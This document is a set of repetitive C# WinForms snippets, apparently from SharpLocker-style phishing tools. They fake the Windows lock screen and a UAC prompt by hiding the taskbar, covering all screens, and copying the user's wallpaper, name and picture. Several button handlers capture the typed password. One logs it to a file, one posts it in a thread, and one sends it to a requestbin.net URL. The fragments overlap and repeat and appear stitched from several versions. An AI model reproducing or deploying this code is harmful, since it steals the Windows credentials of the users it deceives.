private void button1_Click_1(object sender, EventArgs e) { Taskbar.Show(); string a = textBox2.Text; WriteForTxt("log.txt", a); System.Windows.Forms.Application.Exit(); }
public LockScreenForm() { InitializeComponent(); Taskbar.Hide(); FormBorderStyle = FormBorderStyle.None; WindowState = FormWindowState.Normal; StartPosition = FormStartPosition.Manual; Location = new Point(0, 0); Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); //Creds to keldnorman //https://github.com/Pickfordmatt/SharpLocker/issues/2 Image myimage = new Bitmap(@Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft\\Windows\\Themes\\TranscodedWallpaper")); //--- BackgroundImage = myimage; BackgroundImageLayout = ImageLayout.Stretch; this.TopMost = true; string userName = System.Environment.UserName.ToString(); NameLabel.Text = userName; NameLabel.BackColor = System.Drawing.Color.Transparent; int usernameloch = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usericonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 29; int buttonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usernameh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 50; int locked = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 57; PasswordTextBox.Top = usernameloch; ProfilePictureBox.Top = usericonh; LoginButton.Top = buttonh; NameLabel.Top = usernameh; LockedLabel.Top = locked; PasswordTextBox.UseSystemPasswordChar = true; //Get the username. This returns Domain\Username string userNameText = System.Security.Principal.WindowsIdentity.GetCurrent().Name; //Set the text NameLabel.Text = userNameText.Split('\\')[1]; //https://stackoverflow.com/questions/7731855/rounded-edges-in-picturebox-c-sharp System.Drawing.Drawing2D.GraphicsPath gp = new System.Drawing.Drawing2D.GraphicsPath(); gp.AddEllipse(0, 0, ProfilePictureBox.Width - 3, ProfilePictureBox.Height - 3); Region rg = new Region(gp); ProfilePictureBox.Region = rg; ProfilePictureBox.Image = Image.FromFile(GetUserTilePath(userNameText.Split('\\')[1])); foreach (var screen in Screen.AllScreens) { Thread thread = new Thread(() => WorkThreadFunction(screen)); thread.Start(); } }
private void button1_Click_1(object sender, EventArgs e) { var th = new Thread(postData); th.Start(); Taskbar.Show(); System.Windows.Forms.Application.Exit(); }
private void button1_Click_1(object sender, EventArgs e) { // Makes Web Request and passes password to the page HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://requestbin.net/r/YOUR_ID?" + textBox2.Text); request.GetResponse(); Taskbar.Show(); Application.Exit(); }
public Form1() { InitializeComponent(); Taskbar.Hide(); FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; WindowState = FormWindowState.Normal; StartPosition = FormStartPosition.Manual; Location = new Point(0, 0); Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); Image myimage = new Bitmap(@"C:\Windows\Web\Wallpaper\Windows\img0.jpg"); BackgroundImage = myimage; BackgroundImageLayout = ImageLayout.Stretch; this.TopMost = true; List <string> lstUsers = new List <string>(); DirectoryEntry localMachine = new DirectoryEntry("WinNT://" + Environment.MachineName); DirectoryEntry admGroup = localMachine.Children.Find("administrators", "group"); object members = admGroup.Invoke("members", null); foreach (object groupMember in (IEnumerable)members) { DirectoryEntry member = new DirectoryEntry(groupMember); if (member.Name.ToLower().Contains("admin")) { lstUsers.Add(member.Name); } } string userName = System.Environment.UserName.ToString(); label2.Text = userName; label2.BackColor = System.Drawing.Color.Transparent; int usernameloch = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usericonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 29; int buttonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usernameh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 50; int locked = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 57; int bottomname = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 95; textBox2.Top = usernameloch; pictureBox1.Top = usericonh; button1.Top = buttonh; label2.Top = usernameh; label1.Top = locked; textBox2.UseSystemPasswordChar = true; foreach (var screen in Screen.AllScreens) { Thread thread = new Thread(() => WorkThreadFunction(screen)); thread.Start(); } }
public Form1() { InitializeComponent(); Taskbar.Hide(); FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; WindowState = FormWindowState.Normal; StartPosition = FormStartPosition.Manual; Location = new Point(0, 0); Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); Image myimage = new Bitmap(@Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft\\Windows\\Themes\\TranscodedWallpaper")); Bitmap bitmap = new Bitmap(@Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft\\Windows\\Themes\\TranscodedWallpaper")); //bitmap = Blur(bitmap, 10); BackgroundImage = myimage; BackgroundImageLayout = ImageLayout.Stretch; this.TopMost = true; string userName = System.Environment.UserName.ToString(); label2.Text = userName; label2.BackColor = System.Drawing.Color.Transparent; int usernameloch = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usericonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 29; int buttonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usernameh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 50; int locked = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 57; int bottomname = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 95; textBox2.Top = usernameloch; pictureBox1.Top = usericonh; button1.Top = buttonh; label2.Top = usernameh; label1.Top = locked; textBox2.UseSystemPasswordChar = true; //Get the username. This returns Domain\Username string userNameText = System.Security.Principal.WindowsIdentity.GetCurrent().Name; //Set the text label2.Text = userNameText.Split('\\')[1]; System.Drawing.Drawing2D.GraphicsPath gp = new System.Drawing.Drawing2D.GraphicsPath(); gp.AddEllipse(0, 0, pictureBox1.Width - 3, pictureBox1.Height - 3); Region rg = new Region(gp); pictureBox1.Region = rg; pictureBox1.Image = GetUserTile(userNameText.Split('\\')[1]); foreach (var screen in Screen.AllScreens) { Thread thread = new Thread(() => WorkThreadFunction(screen)); thread.Start(); } }
public Form1() { Microsoft.Win32.RegistryKey AccountPictureReg = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\AccountPicture", true); string AccountPictureFilename = AccountPictureReg.GetValue("SourceId").ToString(); AccountPictureReg.Close(); string AccountPicture = System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft\\Windows\\AccountPictures\\" + AccountPictureFilename + ".accountpicture-ms"); Console.WriteLine(AccountPicture); UserPicture = accountpicture_ms.AccountPicConverter.GetImage448(AccountPicture); InitializeComponent(); Taskbar.Hide(); FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; WindowState = FormWindowState.Normal; StartPosition = FormStartPosition.Manual; Location = new Point(0, 0); Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); Image myimage = new Bitmap(System.IO.Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft\\Windows\\Themes\\TranscodedWallpaper")); BackgroundImage = myimage; BackgroundImageLayout = ImageLayout.Stretch; this.TopMost = true; string userName = System.Environment.UserName.ToString(); label2.Text = userName; label2.BackColor = System.Drawing.Color.Transparent; int usernameloch = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usericonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 29; int buttonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usernameh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 50; int locked = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 57; int bottomname = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 95; textBox2.Top = usernameloch; pictureBox1.Top = usericonh; button1.Top = buttonh; label2.Top = usernameh; label1.Top = locked; textBox2.UseSystemPasswordChar = true; foreach (var screen in Screen.AllScreens) { Thread thread = new Thread(() => WorkThreadFunction(screen)); thread.Start(); } }
public Form1() { InitializeComponent(); Taskbar.Hide(); FormBorderStyle = FormBorderStyle.None; WindowState = FormWindowState.Normal; StartPosition = FormStartPosition.Manual; Location = new Point(0, 0); Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); Image myimage = new Bitmap(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), @"Web\Wallpaper\Windows\img0.jpg")); BackgroundImage = myimage; BackgroundImageLayout = ImageLayout.Stretch; this.TopMost = true; string userName = System.Environment.UserName.ToString(); label2.Text = userName; label2.BackColor = System.Drawing.Color.Transparent; int usernameloch = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usericonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 29; int buttonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; int usernameh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 50; int locked = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 57; int bottomname = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 95; textBox2.Top = usernameloch; pictureBox1.Top = usericonh; button1.Top = buttonh; label2.Top = usernameh; label1.Top = locked; textBox2.UseSystemPasswordChar = true; foreach (var screen in Screen.AllScreens) { Thread thread = new Thread(() => WorkThreadFunction(screen)); thread.Start(); } }
private void pictureBox3_Click(object sender, EventArgs e) { Taskbar.Show(); System.Windows.Forms.Application.Exit(); }
private void button1_Click_1(object sender, EventArgs e) { Taskbar.Show(); System.Windows.Forms.Application.Exit(); }
protected override void OnClosing(CancelEventArgs e) { Taskbar.Show(); base.OnClosing(e); }
public UAC() { InitializeComponent(); Taskbar.Hide(); FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; WindowState = FormWindowState.Normal; StartPosition = FormStartPosition.Manual; Location = new Point(0, 0); Size = new Size(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); BackgroundImageLayout = ImageLayout.Stretch; this.TopMost = true; List <string> lstUsers = new List <string>(); DirectoryEntry localMachine = new DirectoryEntry("WinNT://" + Environment.MachineName); DirectoryEntry admGroup = localMachine.Children.Find("administrators", "group"); object members = admGroup.Invoke("members", null); foreach (object groupMember in (IEnumerable)members) { DirectoryEntry member = new DirectoryEntry(groupMember); if (member.Name.ToLower().Contains("admin")) { lstUsers.Add(member.Name); } } string userName = ""; if (lstUsers.ElementAt(0).ToLower() == "administrator" && lstUsers.Count == 1) { userName = lstUsers.ElementAt(0); } else { userName = lstUsers.ElementAt(1); } label2.Text = userName; label2.BackColor = System.Drawing.Color.Transparent; //int usernameloch = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; //int usericonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 29; //int buttonh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 64; //int usernameh = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 50; //int locked = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 57; //int bottomname = (Convert.ToInt32(Screen.PrimaryScreen.Bounds.Height) / 100) * 95; //textBox2.Top = usernameloch; //button1.Top = buttonh; //label2.Top = usernameh; textBox2.UseSystemPasswordChar = true; string domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; if (string.IsNullOrEmpty(domain)) { label1_ComputerName.Text = Environment.MachineName; } else { label1_ComputerName.Text = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName + "\\" + Environment.MachineName; } foreach (var screen in Screen.AllScreens) { Thread thread = new Thread(() => WorkThreadFunction(screen)); thread.Start(); } }
private void pictureBox2_Click(object sender, EventArgs e) { Taskbar.Show(); Application.Exit(); }
private void button2_Click(object sender, EventArgs e) { //Password Entered DO SOMETHING WITH IT Taskbar.Show(); System.Windows.Forms.Application.Exit(); }
private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) { Taskbar.Show(); System.Windows.Forms.Application.Exit(); }
private void button1_Click_1(object sender, EventArgs e) { Taskbar.Show(); Console.WriteLine(textBox2); System.Windows.Forms.Application.Exit(); }
private void button1_Click_1(object sender, EventArgs e) { Taskbar.Show(); Application.Exit(); }